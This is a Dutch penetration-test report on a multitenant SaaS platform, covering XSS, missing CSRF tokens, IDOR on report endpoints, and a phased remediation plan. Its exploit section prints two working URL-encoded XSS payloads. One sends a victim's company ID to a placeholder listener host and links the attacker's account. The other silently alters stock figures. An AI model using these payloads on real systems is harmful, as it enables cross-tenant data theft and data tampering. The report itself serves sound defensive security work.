Overzicht
Samenvatting
Tijdens deze tests werd de [APP]-webapplicatie onderzocht op kwetsbaarheden.
De autorisatielogica van de applicatie functioneert over het algemeen correct: gebruikers kunnen enkel data opvragen waartoe ze recht hebben, en tenant-isolatie werkt op de grote meerderheid van endpoints, op één uitzondering na: het genereren van rapporten.
De individuele bevindingen zijn overwegend van lage tot gemiddelde ernst. Een aantal van die kwetsbaarheden vormt samen echter uitvoerbare aanvalsketens. Twee van die ketens werden volledig uitgewerkt en gedemonstreerd:
- Voorraadmanipulatie: een aanvaller met een geldig account kan via een gemanipuleerde link de voorraadcijfers van een slachtoffer aanpassen, zonder dat de beheerder of de gebruiker hiervan iets merkt. Eén klik volstaat.
- Cross-tenant toegang tot productformules: via dezelfde techniek kan een aanvaller zich koppelen aan het account van een slachtoffer en vervolgens diens persoonlijke productformules uitlezen vanuit zijn eigen account.
Beide aanvallen verlopen volledig automatisch in de browser van het slachtoffer en zijn uitgevoerd in minder dan twee seconden. Het slachtoffer ziet enkel een korte foutmelding die vanzelf verdwijnt.
Hoewel de impact van deze ketens aanzienlijk is, kan de organisatie dit risico met relatief eenvoudige ingrepen wegnemen. De kern van het probleem ligt in een Reflected XSS-kwetsbaarheid in het endpoint Product.mvc/Detail en het ontbreken van CSRF-bescherming. Door het implementeren van een strikt Content Security Policy (CSP) en het afdwingen van anti-CSRF tokens op muterende acties, worden deze aanvalsvectoren effectief geblokkeerd zonder dat een ingrijpende herstructurering van de applicatie vereist is.
Risico-overzicht
| Severity | Aantal |
|---|---|
| CRITICAL | 0 |
| HIGH | 4 |
| MEDIUM | 7 |
| LOW | 11 |
| INFO | 4 |
Scope
[APP] is een multitenant SaaS-platform van [KLANT] voor productbeheer, voorraadbeheer, jobregistratie en rapportage, gebruikt door productbeheerders en klantbedrijven wereldwijd.
De applicatie scheidt klantdata op data-niveau via een company-identifier; alle tenants delen dezelfde codebase en infrastructuur. Gebruikers kunnen expliciet aan meerdere companies gekoppeld worden via de “linked companies”-functionaliteit. Authenticatie verloopt via [IdP] ([IdP] SSO) over SAML.
Geteste omgevingen en hosts:
- [APP]: [app.klant.com] (productie) en [qa.app.klant.com] (QA)
- Authenticatieportalen: [auth.klant.com] en [qaauth.klant.com]
- Aanverwante hosts: [stage.klant.com] en [data.klant.com]
De focus lag op de multitenant architectuur en op functionaliteit met directe business-impact: productbeheer, voorraadbeheer, rapportage en account linking.
Probleemstelling
De vraag die voorafging aan dit onderzoek was tweeledig:
Zijn de grenzen tussen tenants scherp genoeg — en kan een aanvaller, al dan niet met een geldig account, data inzien of manipuleren die hem niet toekomt?
De architectuur houdt klantdata gescheiden via een company-identifier, maar elke scheiding is zo sterk als de zwakste plek in de implementatie. Meer concreet leefden er vóór de testen de volgende vragen:
- Kan een geauthenticeerde gebruiker data van een andere tenant bereiken?
- Zijn state-changing acties — het aanpassen van voorraad, het opslaan van formules, het koppelen van accounts — beveiligd tegen misbruik vanuit een externe context?
- Welke informatie lekt de applicatie onbedoeld, en wat geeft een aanvaller een voorsprong bij een gerichte aanval?
- Is de authenticatielaag ([IdP] via SAML) correct geconfigureerd, of zijn er aanknopingspunten op het niveau van de identity provider?
Top 3 bevindingen
Cross-Site Scripting (XSS) — Reflected & Stored: De applicatie voert zonder sanitisatie gebruikersinput terug uit als JavaScript in de browser van andere gebruikers. Via een gemanipuleerde URL of een opgeslagen formula kan een aanvaller willekeurige JavaScript uitvoeren in de sessie van een slachtoffer en zo namens die gebruiker acties stellen of data uitlezen.
Cross-Site Request Forgery (CSRF) — Geen tokenbescherming: Geen enkel state-changing endpoint valideert een anti-CSRF-token. Hiermee kunnen gebruikers gemanipuleerd worden om ongewild en ongemerkt acties uit te voeren op hun tenant: voorraadwijzigingen, het koppelen van een vreemd bedrijf aan hun account, of het opslaan van formules.
Cross-tenant rapporttoegang — IDOR op Reporting-endpoints: De rapport-generatie-endpoints accepteren een client-supplied company ID zonder server-side autorisatiecheck. Een geauthenticeerde gebruiker met de identifier van een andere tenant kan rapporten genereren op data van die tenant — stockgegevens, prijsinformatie en bedrijfsdata inbegrepen.
Conclusie en belangrijkste adviezen
Twee concrete aanvalsketens zijn volledig uitgewerkt en gedemonstreerd; beide zijn te doorbreken met gerichte fixes in de applicatielaag.
De prioriteit ligt bij het oplossen van de Reflected XSS en het toevoegen van CSRF-tokens op schrijfacties. Dat doorbreekt beide aanvalsketens in één beweging. De overige bevindingen zijn minder urgent maar verdienen opvolging als onderdeel van een bredere verstevigingsronde — ze verlagen de drempel voor toekomstige aanvallen en lekken informatie die een aanvaller een voorsprong geeft.
De drie kernmaatregelen:
Input sanitisatie & output encoding — Valideer gebruikersinput op elk inputveld en pas context-bewuste output encoding toe bij het terugplaatsen in HTML- of JavaScript-context. Verwijder
unsafe-inlineenunsafe-evaluit de Content Security Policy en migreer naar een nonce-gebaseerde aanpak.Anti-CSRF tokens — Implementeer
[ValidateAntiForgeryToken]op alle state-changing endpoints. Configureer dit als globaal filter zodat nieuwe endpoints automatisch beschermd zijn. Dwing af dat state-wijzigende acties uitsluitend via POST aanroepbaar zijn.Server-side autorisatie — Valideer op elke controller-action of de geauthenticeerde gebruiker toegang heeft tot de opgevraagde resource, ongeacht welke identifier de client meestuurd. Verberg-in-menu is geen autorisatielaag.
OWASP Top 10
| OWASP Web Application Top 10 (2025) | Bevindingen |
|---|---|
A01:2025 — Broken Access ControlAccess control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits. |
|
A02:2025 — Cryptographic FailuresFailures related to cryptography (or lack thereof) which often lead to exposure of sensitive data. This includes data in transit and at rest — weak algorithms, missing encryption, improper key management, and insecure protocols. |
|
A03:2025 — InjectionInjection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. An attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. |
HIGH Reflected XSS
HIGH Stored XSS
|
A04:2025 — Insecure DesignInsecure design is a broad category representing different weaknesses expressed as 'missing or ineffective control design.' It focuses on risks related to design and architectural flaws, calling for more use of threat modeling, secure design patterns, and reference architectures. |
|
A05:2025 — Security MisconfigurationSecurity misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. |
|
A06:2025 — Vulnerable and Outdated ComponentsComponents such as libraries, frameworks, and other software modules run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. |
|
A07:2025 — Identification and Authentication FailuresApplication functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently. |
Geen bevindingen |
A08:2025 — Software and Data Integrity FailuresSoftware and data integrity failures relate to code and infrastructure that does not protect against integrity violations. This includes insecure deserialization, use of plugins, libraries, or modules from untrusted sources, and CI/CD pipeline integrity issues. |
Geen bevindingen |
A09:2025 — Security Logging and Monitoring FailuresInsufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. |
|
A10:2025 — Server-Side Request Forgery (SSRF)SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network ACL. |
Geen bevindingen |
Severity levels
Geen bevindingen in deze categorie.
Samenvatting
Tijdens deze tests werd de [APP]-webapplicatie onderzocht op kwetsbaarheden.
De autorisatielogica van de applicatie functioneert over het algemeen correct: gebruikers kunnen enkel data opvragen waartoe ze recht hebben, en tenant-isolatie werkt op de grote meerderheid van endpoints, op één uitzondering na: het genereren van rapporten.
De individuele bevindingen zijn overwegend van lage tot gemiddelde ernst. Een aantal van die kwetsbaarheden vormt samen echter uitvoerbare aanvalsketens. Twee van die ketens werden volledig uitgewerkt en gedemonstreerd:
- Voorraadmanipulatie: een aanvaller met een geldig account kan via een gemanipuleerde link de voorraadcijfers van een slachtoffer aanpassen, zonder dat de beheerder of de gebruiker hiervan iets merkt. Eén klik volstaat.
- Cross-tenant toegang tot productformules: via dezelfde techniek kan een aanvaller zich koppelen aan het account van een slachtoffer en vervolgens diens persoonlijke productformules uitlezen vanuit zijn eigen account.
Beide aanvallen verlopen volledig automatisch in de browser van het slachtoffer en zijn uitgevoerd in minder dan twee seconden. Het slachtoffer ziet enkel een korte foutmelding die vanzelf verdwijnt.
Hoewel de impact van deze ketens aanzienlijk is, kan de organisatie dit risico met relatief eenvoudige ingrepen wegnemen. De kern van het probleem ligt in een Reflected XSS-kwetsbaarheid in het endpoint Product.mvc/Detail en het ontbreken van CSRF-bescherming. Door het implementeren van een strikt Content Security Policy (CSP) en het afdwingen van anti-CSRF tokens op muterende acties, worden deze aanvalsvectoren effectief geblokkeerd zonder dat een ingrijpende herstructurering van de applicatie vereist is.
Risico-overzicht
Scope
[APP] is een multitenant SaaS-platform van [KLANT] voor productbeheer, voorraadbeheer, jobregistratie en rapportage, gebruikt door productbeheerders en klantbedrijven wereldwijd.
De applicatie scheidt klantdata op data-niveau via een company-identifier; alle tenants delen dezelfde codebase en infrastructuur. Gebruikers kunnen expliciet aan meerdere companies gekoppeld worden via de “linked companies”-functionaliteit. Authenticatie verloopt via [IdP] ([IdP] SSO) over SAML.
Geteste omgevingen en hosts:
- [APP]: [app.klant.com] (productie) en [qa.app.klant.com] (QA)
- Authenticatieportalen: [auth.klant.com] en [qaauth.klant.com]
- Aanverwante hosts: [stage.klant.com] en [data.klant.com]
De focus lag op de multitenant architectuur en op functionaliteit met directe business-impact: productbeheer, voorraadbeheer, rapportage en account linking.
Probleemstelling
De vraag die voorafging aan dit onderzoek was tweeledig:
Zijn de grenzen tussen tenants scherp genoeg — en kan een aanvaller, al dan niet met een geldig account, data inzien of manipuleren die hem niet toekomt?
De architectuur houdt klantdata gescheiden via een company-identifier, maar elke scheiding is zo sterk als de zwakste plek in de implementatie. Meer concreet leefden er vóór de testen de volgende vragen:
- Kan een geauthenticeerde gebruiker data van een andere tenant bereiken?
- Zijn state-changing acties — het aanpassen van voorraad, het opslaan van formules, het koppelen van accounts — beveiligd tegen misbruik vanuit een externe context?
- Welke informatie lekt de applicatie onbedoeld, en wat geeft een aanvaller een voorsprong bij een gerichte aanval?
- Is de authenticatielaag ([IdP] via SAML) correct geconfigureerd, of zijn er aanknopingspunten op het niveau van de identity provider?
Top 3 bevindingen
Cross-Site Scripting (XSS) — Reflected & Stored: De applicatie voert zonder sanitisatie gebruikersinput terug uit als JavaScript in de browser van andere gebruikers. Via een gemanipuleerde URL of een opgeslagen formula kan een aanvaller willekeurige JavaScript uitvoeren in de sessie van een slachtoffer en zo namens die gebruiker acties stellen of data uitlezen.
Cross-Site Request Forgery (CSRF) — Geen tokenbescherming: Geen enkel state-changing endpoint valideert een anti-CSRF-token. Hiermee kunnen gebruikers gemanipuleerd worden om ongewild en ongemerkt acties uit te voeren op hun tenant: voorraadwijzigingen, het koppelen van een vreemd bedrijf aan hun account, of het opslaan van formules.
Cross-tenant rapporttoegang — IDOR op Reporting-endpoints: De rapport-generatie-endpoints accepteren een client-supplied company ID zonder server-side autorisatiecheck. Een geauthenticeerde gebruiker met de identifier van een andere tenant kan rapporten genereren op data van die tenant — stockgegevens, prijsinformatie en bedrijfsdata inbegrepen.
Conclusie en belangrijkste adviezen
Twee concrete aanvalsketens zijn volledig uitgewerkt en gedemonstreerd; beide zijn te doorbreken met gerichte fixes in de applicatielaag.
De prioriteit ligt bij het oplossen van de Reflected XSS en het toevoegen van CSRF-tokens op schrijfacties. Dat doorbreekt beide aanvalsketens in één beweging. De overige bevindingen zijn minder urgent maar verdienen opvolging als onderdeel van een bredere verstevigingsronde — ze verlagen de drempel voor toekomstige aanvallen en lekken informatie die een aanvaller een voorsprong geeft.
De drie kernmaatregelen:
Input sanitisatie & output encoding — Valideer gebruikersinput op elk inputveld en pas context-bewuste output encoding toe bij het terugplaatsen in HTML- of JavaScript-context. Verwijder
unsafe-inlineenunsafe-evaluit de Content Security Policy en migreer naar een nonce-gebaseerde aanpak.Anti-CSRF tokens — Implementeer
[ValidateAntiForgeryToken]op alle state-changing endpoints. Configureer dit als globaal filter zodat nieuwe endpoints automatisch beschermd zijn. Dwing af dat state-wijzigende acties uitsluitend via POST aanroepbaar zijn.Server-side autorisatie — Valideer op elke controller-action of de geauthenticeerde gebruiker toegang heeft tot de opgevraagde resource, ongeacht welke identifier de client meestuurd. Verberg-in-menu is geen autorisatielaag.
Implementatieplan
Onderstaand voorstel groepeert de aanbevelingen in fases op basis van risico-reductie per inspanning. De volgorde is adviserend — het ontwikkelteam beslist over de inplanning op basis van eigen capaciteit, sprintcycli en bredere roadmap. De fases zijn cumulatief: elke volgende fase bouwt voort op de vorige.
Fase 1 — De aanvalsketens doorbreken
De twee gedemonstreerde aanvalsketens (voorraadmanipulatie en cross-tenant formuletoegang) verdwijnen wanneer de onderliggende kwetsbaarheden in de applicatielaag aangepakt worden. Deze fase levert de grootste risico-reductie ten opzichte van de geleverde inspanning.
- Reflected XSS op Product.mvc/Detail — context-bewuste output encoding op de gereflecteerde parameter, server-side. Hiermee vervalt de browser-side trigger voor beide ketens.
- Anti-CSRF tokens op state-changing endpoints —
[ValidateAntiForgeryToken]als globaal filter, zodat nieuwe endpoints automatisch beschermd zijn. Combineer met afdwingen dat schrijfacties uitsluitend via POST aanroepbaar zijn. - Server-side autorisatie op rapport-endpoints — valideer dat de geauthenticeerde gebruiker recht heeft op de opgevraagde company-ID, in plaats van client-supplied identifiers te vertrouwen.
- Stored XSS in Personal Template Messages-veld — server-side sanitisatie bij opslag én context-bewuste encoding bij rendering.
Na deze fase zijn de twee aanvalsketens niet langer uitvoerbaar.
Fase 2 — Defense-in-depth en data-leakage beperken
De individuele kwetsbaarheden in deze fase zijn op zichzelf van beperkte ernst, maar verlagen samen de drempel voor toekomstige aanvallen of leveren een aanvaller informatie die het kraken van het systeem makkelijker maakt.
- CSP hardening —
unsafe-inlineenunsafe-evalverwijderen, nonce-gebaseerde aanpak invoeren, wildcards ([*.analytics.vendor.com]) vervangen door de specifieke [ANALYTICS-TOOL]-subdomeinen. - Cookie-flags consistent toepassen —
Secure,HttpOnlyenSameSitewaar passend, ook opAWSALBen sessiecookies in productie. - HSTS preload-ready — header met voldoende
max-ageenincludeSubDomainsconfigureren op alle productie-hosts. - Information disclosure beperken —
X-Powered-By, applicatieversie en git commit SHA, interne IP-adressen en hardware-details uit responses verwijderen. - WAF input filtering aanscherpen — Unicode- en URL-encoding bypass-vectoren afdekken, met de wetenschap dat de WAF een aanvullende laag is, geen vervanging voor input-validatie in de applicatie.
Fase 3 — Configuratie en omgeving
Bevindingen op infrastructuur- en configuratieniveau die zelfstandig oplosbaar zijn, vaak zonder code-changes.
- [IdP] hardening — standaard cryptografische sleutels vervangen, serverinfo-endpoint afschermen,
saml_redirect_urlcookie-content beperken. - TLS-configuratie moderniseren — verouderde cipher suites en protocolversies uitfaseren conform actuele best practices.
- AWS S3-bucket — restbevindingen na de gedeeltelijke mitigatie afronden.
- JavaScript-bibliotheken updaten — de verouderde dependencies in
masterjsmigreren naar onderhouden versies. - QA-omgeving herstelbaarheid — procedures vastleggen zodat de QA-omgeving binnen een redelijke termijn herstelbaar is na een incident of compromittering.
Fase 4 — Structurele verbeteringen
Verbeteringen die buiten de scope van directe kwetsbaarheidsmitigatie vallen maar de algemene volwassenheid van de beveiligingspraktijk verhogen.
- Method enforcement systematisch — controleren of HTTP-methods op alle endpoints overeenkomen met de bedoelde actie.
- externe integratiepartner data — herzien welke informatie via
GetAccountInfoblootgesteld wordt en op basis van welke rol. - Caching-headers — consistent toepassen voor gevoelige en niet-gevoelige content.
- Periodieke herhalingstesten — na implementatie van Fase 1 en 2 een hertest uitvoeren om de effectiviteit van de mitigaties te valideren en eventuele regressies of nieuwe bevindingen te identificeren.
De fases zijn ontworpen om onafhankelijk uitvoerbaar te zijn. Een onderbreking tussen fases vormt geen risico, mits Fase 1 als geheel afgerond wordt — een halverwege uitgevoerde Fase 1 laat één van beide aanvalsketens mogelijk nog gedeeltelijk exploiteerbaar.
KMO Portefeuille
Dit adviesverslag werd opgesteld met steun van de kmo-portefeuille van VLAIO, en moet daarom minstens de volgende gegevens vermelden, zoals beschreven op onderstaande webpagina:
| Naam Dienstverlener | Fox&Fish |
| Registratienummer Dienstverlener | DV.A244058 |
| Datum Verslag | 21/05/2025 |
| Projectnummer Subsidie | klik om in te vullen |
| Naam Onderaannemer(s) | NVT |
We moedigen u aan om, na afloop van dit project, onze dienstverlening een score te geven op het platform van de kmo-portefeuille: https://inkom.vlaanderen.be/op/ond/overzicht.do.
Uitgevoerde Exploits
Cross-tenant formula access via XSS + account linking chain
| Severity | CRITICAL |
| Target | Any user [APP] |
| Uitvoeringstijd | 00:20 |
Voorwaarden
- De aanvaller heeft geen specifieke voorkennis nodig over het doelwit.
- De aanvaller beschikt over een geldig account in de applicatie.
- Het slachtoffer moet op het moment van uitvoering een actieve sessie van de applicatie open hebben staan in dezelfde browsersessie.
- De aanvaller heeft toegang tot een out-of-band listener (bv. interactsh) om de geëxfiltreerde Company ID te ontvangen.
Mogelijke triggers
Slachtoffer klikt op een gemanipuleerde link:
https://[qa.app.klant.com]/en/Product.mvc/Detail?id=%22%3Bfetch(%27%2FAccount.mvc%2FGetAccountInfo%2F%3F_%3D1%27).then(r%3D%3Er.json()).then(d%3D%3E%7Bvar%20v%3Dd.Identification.Value%3Bfetch(%27https%3A%2F%2F<LISTENER>%2F%3Fvictim%3D%27%2Bv)%3Breturn%20fetch(%27%2FAccount.mvc%2FLinkCompany%2F%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fx-www-form-urlencoded%27%7D%2Cbody%3A%27code%3D<ATTACKER_COMPANY_ID>%27%7D)%7D).then(()%3D%3E%7Blocation%3D%27%2Fen%2FMenuPage.mvc%27%7D)%3B%22(vervang
<LISTENER>door het adres van de out-of-band listener en<ATTACKER_COMPANY_ID>door de eigen Company ID van de aanvaller)Bezoek aan een gecompromitteerde of malafide site (watering hole / drive-by) — het bezoeken van de pagina volstaat.
Code-injectie via een legitieme partner-site die het kwetsbare endpoint aanroept.
Impact
De aanvaller kan zich toegang verschaffen tot alle personal templates van het slachtoffer en deze exporteren vanuit zijn eigen account. Geen voorkennis van het slachtoffer vereist — de exploit werkt tegen elke gebruiker met een actieve sessie.
De aanval laat een traceerbaar spoor na in de vorm van een onverwachte entry in de linked companies lijst van het slachtoffer. Zonder actieve monitoring of notificaties bij nieuwe koppelingen blijft dit in de praktijk onopgemerkt. Eens de aanvaller over meerdere Company ID’s beschikt, kan hij dit verder obfusceren door meerdere accounts te linken bij hetzelfde slachtoffer.
Uitvoering
De aanval verloopt in twee fasen: een geautomatiseerde fase die plaatsvindt in de browser van het slachtoffer, en een manuele fase waarbij de aanvaller de ontvangen informatie gebruikt om de toegang te voltooien.
Fase 1 — Automatisch (in browser van slachtoffer)
Zodra het slachtoffer de link opent in de browser waar [APP] actief is:
De pagina
Product.mvc/Detaillaadt normaal — het slachtoffer ziet de [APP]-interface.De geïnjecteerde JavaScript voert op de achtergrond drie acties uit:
GET /Account.mvc/GetAccountInfo/- De Company ID van het slachtoffer wordt opgehaald uit de response (
Identification.Value).
GET https://<LISTENER>/?victim=<company_id>- De Company ID wordt geëxfiltreerd naar de out-of-band listener van de aanvaller.
POST /Account.mvc/LinkCompany/ body: code=<attacker_company_id>- De Company ID van de aanvaller wordt toegevoegd aan de linked companies van het slachtoffer. Geen CSRF-token vereist, geen bevestiging gevraagd.
- De Company ID van het slachtoffer wordt opgehaald uit de response (
De browser redirecteert naar de homepage — het slachtoffer ziet niets ongewoons.
De enige zichtbare artefact is een korte “Connection failed”-popup die verschijnt en verdwijnt.
De volledige uitvoering duurt minder dan twee seconden.
Fase 2 — Manueel (door aanvaller)
Na ontvangst van de Company ID van het slachtoffer via de listener:
De aanvaller logt in op zijn eigen account.
De aanvaller voegt de Company ID van het slachtoffer toe als linked company via de normale UI of via een directe request:
POST /Account.mvc/LinkCompany/ body: code=<victim_company_id>De wederzijdse koppeling is nu compleet. De aanvaller heeft volledige leestoegang tot de persoonlijke productformules van het slachtoffer via het menu Personal Template.
Resultaat: de aanvaller kan de persoonlijke productformules van het slachtoffer raadplegen zonder dat het slachtoffer hiervan op de hoogte is.
Gerelateerde bevindingen
Bevindingen die in deze exploit werden gecombineerd of geketend.
| Bevinding | Endpoint | Rol in de keten |
|---|---|---|
| HIGH Reflected XSS — JS-context injectie | Product.mvc/Detail?id= |
Entry point — maakt same-origin code execution mogelijk |
| MEDIUM Geen anti-CSRF token op account linking | Account.mvc/LinkCompany |
Laat silent linking toe vanuit XSS-context |
| LOW Company ID disclosure | Account.mvc/GetAccountInfo |
Company ID van slachtoffer ophaalbaar zonder voorkennis |
| LOW CSP connect-src staat externe HTTPS toe | Response header | Maakt out-of-band exfiltratie van Company ID mogelijk |
MEDIUM Naïeve input filtering — %27 bypass |
WAF/applicatielaag | Maakt XSS injecteerbaar ondanks partiële filter |
Stock manipulation via XSS + CSRF chain
| Severity | CRITICAL |
| Target | Any user [APP] |
| Uitvoeringstijd | 00:15 |
Voorwaarden
- Geen verdere voorkennis buiten de werking van de app nodig.
- Het slachtoffer moet op het moment van uitvoering een actieve sessie van de applicatie open hebben staan in dezelfde browsersessie.
Mogelijke triggers
Slachtoffer klikt op een gemanipuleerde link:
https://[qa.app.klant.com]/en/Product.mvc/Detail?id=%22%3Bfetch('%2FReporting.mvc%2FGetReportTypes'%2C%7Bmethod%3A'POST'%2Cheaders%3A%7B'Content-Type'%3A'application%2Fx-www-form-urlencoded'%7D%2Cbody%3A'stockId%3D'%7D).then(r%3D%3Er.json()).then(d%3D%3E%7Bvar%20s%3Dd.Data.SelectStock.Value%3Bfetch('%2FStock.mvc%2FUpdateStock%2F%3FstockId%3D'%2Bs%2B'%26updates%3D'%2BencodeURIComponent(JSON.stringify(%5B%7BId%3A''%2CProductCode%3A'1405W'%2CStock%3A1337%2COperator%3A'%2B'%2CChangedAmount%3A0%7D%5D))).then(r%3D%3E%7Blocation%3D'%2Fen%2FMenuPage.mvc'%7D)%7D)%3B%22Bezoek aan een gecompromitteerde of malafide site (watering hole / drive-by) — het bezoeken van de pagina volstaat.
Code-injectie via een legitieme partner-site die het kwetsbare endpoint aanroept.
Impact
De integriteit van de voorraaddata is niet meer te waarborgen. In dit geval werden de cijfers van slechts één stockitem aangepast. Een loop doorheen alle stockitems met een willekeurige waarde tussen bijvoorbeeld 400 en 800 zou het volledige productieproces kunnen verstoren.
Voor gebruikers die werken met Just-In-Time deliveries kan dit zowel financiële als reputatieschade veroorzaken.
Uitvoering
Payload aflevering — via phishing mail of injectie op een kwetsbare gerelateerde website.
Code execution — zodra het slachtoffer de link opent in de browser waar [APP] actief is:
- De pagina
Product.mvc/Detaillaadt normaal — het slachtoffer ziet de [APP]-interface. - De geïnjecteerde JavaScript voert op de achtergrond twee requests uit:
POST /Reporting.mvc/GetReportTypes- Hieruit word de stock ID opgehaald dewelke nodig is om de aanpassing te kunnen doorvoeren, deze wordt dan met de volgende request meegestuurd.
GET /Stock.mvc/UpdateStock/?stockId=<id>&updates=<payload>- De browser redirecteert naar de homepage — het slachtoffer ziet niets ongewoons.
- De enige zichtbare artefact is een korte “Connection failed”-popup die verschijnt en verdwijnt.
De volledige uitvoering duurt minder dan twee seconden.
- De pagina
Resultaat: volumes van stockitems worden aangepast zonder enige interactie van de beheerder.
Gerelateerde bevindingen
Bevindingen die in deze exploit werden gecombineerd of geketend.
| Bevinding | Endpoint | Rol in de keten |
|---|---|---|
| HIGH Reflected XSS — JS-context injectie | Product.mvc/Detail?id= |
Entry point beide chains |
| MEDIUM HTTP method enforcement ontbreekt | Stock.mvc/UpdateStock |
GET accepteert schrijfactie |
| MEDIUM Geen anti-CSRF token | Stock.mvc/UpdateStock |
Request van overal uitvoerbaar |
| HIGH Client-supplied stock waarde blind vertrouwd | Stock.mvc/UpdateStock |
Willekeurige absolute waarde instelbaar |
| LOW Tenant ID disclosure via session-default | Reporting.mvc/GetReportTypes |
StockId ophaalbaar zonder voorkennis |
| MEDIUM Geen anti-CSRF token op account linking | Account.mvc/LinkCompany |
Silent linking vanuit XSS-context |
| LOW Company ID disclosure | Account.mvc/GetAccountInfo |
Victim identifier opgehaald via XSS |
| LOW CSP connect-src staat externe HTTPS toe | Response header | Out-of-band exfiltratie mogelijk |
MEDIUM Naïeve input filtering — %27 bypass |
WAF/applicatielaag | Maakt F-01 exploiteerbaar ondanks partiële filter |
Bevindingen
AWSALB load-balancer cookie zonder HttpOnly en Secure flags
| Severity | LOW |
| OWASP | A05:2025 |
| Component | [app.klant.com] (productie) — AWS Application Load Balancer |
Vaststellingen
De AWS Application Load Balancer stickiness-cookie ontbreekt de standaard beveiligingsflags op productie:
Set-Cookie: AWSALB=...; Expires=Thu, 14 May 2026 ...; Path=/
Geen HttpOnly, geen Secure, geen SameSite. De cookie is leesbaar via JavaScript en wordt meegestuurd over HTTP-verbindingen.
Impact
De load-balancer cookie is leesbaar via JavaScript en wordt meegestuurd over onversleutelde verbindingen — in combinatie met andere bevindingen vergroot dit het aanvalsoppervlak.
- Cookie-exfiltratie via XSS — zonder
HttpOnlyisAWSALBleesbaar viadocument.cookie; in combinatie met de reflected XSS is de waarde exfiltreerbaar en bruikbaar voor sessie-stickiness-manipulatie - Blootstelling via HTTP — zonder
Securewordt de cookie meegestuurd over onversleutelde verbindingen, in combinatie met de ontbrekende HSTS en Secure-flag - Configuratiesignaal — de afwezigheid van beveiligingsflags wijst op een bredere configuratieachterstand op de productieomgeving
Aanbevelingen
- Cookie-flags — configureer de ALB sticky session cookie met
HttpOnlyenSecurein de target-group instellingen - Overweeg stateless — schakel stickiness op de load balancer uit als stateless routing mogelijk is; elimineert de cookie volledig
Ontbrekende server-side autorisatie op LinkCompany
| Severity | LOW |
| OWASP | A01:2025 |
| Component | /Account.mvc/LinkCompany/ |
Vaststellingen
/Account.mvc/LinkCompany/ is in de UI verborgen voor low-privilege gebruikers, maar de controller-action voert geen server-side rolcontrole uit. Een directe POST met een geldig code-parameter wordt geaccepteerd en uitgevoerd — ongeacht de rol van de aanroeper.
Impact
De UI verbergt de functie voor low-privilege gebruikers, maar de controller accepteert het verzoek zonder rolcontrole — het endpoint is direct aanroepbaar door elke geauthenticeerde gebruiker.
- Ongeautoriseerde account linking — elke geauthenticeerde gebruiker kan een bedrijf aan zijn account koppelen, ongeacht zijn rol
- Patroon met bredere impact — als “verberg in menu = beveiligd” elders in de applicatie is toegepast, zijn andere endpoints met grotere business-impact op identieke wijze bereikbaar
- Exploit-versterker — dit endpoint werd succesvol aangesproken vanuit de FormulaAccess-exploit door een low-privileged gebruiker
Aanbevelingen
- Server-side autorisatie — voeg
[Authorize(Roles = "...")]toe op elke controller-action; de UI-staat is geen beveiligingslaag - Audit verborgen menu-items — controleer alle controller-actions waarvan het menu-item rolafhankelijk verborgen is (
App.Preloaded.Menu) op aanwezigheid van een server-side check
Referenties
- OWASP A01:2025 — Broken Access Control: https://owasp.org/Top10/A01_2025-Broken_Access_Control/
- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- OWASP Authorization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html
Ontbrekende CSRF Tokens
| Severity | HIGH |
| OWASP | A01:2025 |
| Component | [qa.app.klant.com] — state-changing endpoints |
Vaststellingen
Geen enkel state-changing endpoint valideert een anti-CSRF-token. De enige beschermingslaag is de SameSite=Lax-cookie — er is geen server-side verificatie die verzekerd dat het request door de gebruiker zelf is geïnitieerd.
Geteste endpoints zonder tokenbeveiliging:
/CustomFormula.mvc/Save/— formules opslaan/Stock.mvc/UpdateStock/— voorraad wijzigen/Account.mvc/LinkCompany/+/UnlinkCompany/— bedrijfskoppeling/Account.mvc/AgreeLicense— licentie accepteren namens gebruiker/Preferences.mvc/EnableIngredientRelation/— gebruikersvoorkeuren/Formula.mvc/SetSelectedFormula/,/SetQuantity/
ASP.NET MVC levert [ValidateAntiForgeryToken] kant-en-klaar — dit mechanisme is niet ingezet.
Impact
Elk state-changing endpoint is aanroepbaar vanuit een externe pagina — één bezoek volstaat om een ongemerkte actie uit te voeren namens een ingelogde gebruiker.
- Voorraadfraude —
Stock.mvc/UpdateStockis aanroepbaar via een<img>-tag of gewone link; geen formulier, geen interactie vereist - Accountkaping —
Account.mvc/LinkCompanykoppelt het account van het slachtoffer aan een door de aanvaller gecontroleerde tenant - Onmerkbaar voor het slachtoffer — requests verlopen in de browserachtergrond zonder zichtbare feedback
- XSS maakt SameSite=Lax irrelevant — een ge-injecteerd script binnen het origin omzeilt de enige bestaande beschermingslaag volledig; er is geen server-side backup
Aanbevelingen
- [ValidateAntiForgeryToken] — voeg het attribuut toe aan alle state-changing controller-actions; stuur het token mee als custom header bij AJAX-calls
- Globaal filter — configureer anti-CSRF als globaal filter zodat nieuwe endpoints automatisch beschermd zijn
- POST-only — beperk state-wijzigende actions tot POST via
[HttpPost]; zie ook MethodEnforcement
Referenties
- OWASP A01:2025 — Broken Access Control: https://owasp.org/Top10/A01_2025-Broken_Access_Control/
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Request_Forgery_Prevention_Cheat_Sheet.html
- CWE-352: Cross-Site Request Forgery: https://cwe.mitre.org/data/definitions/352.html
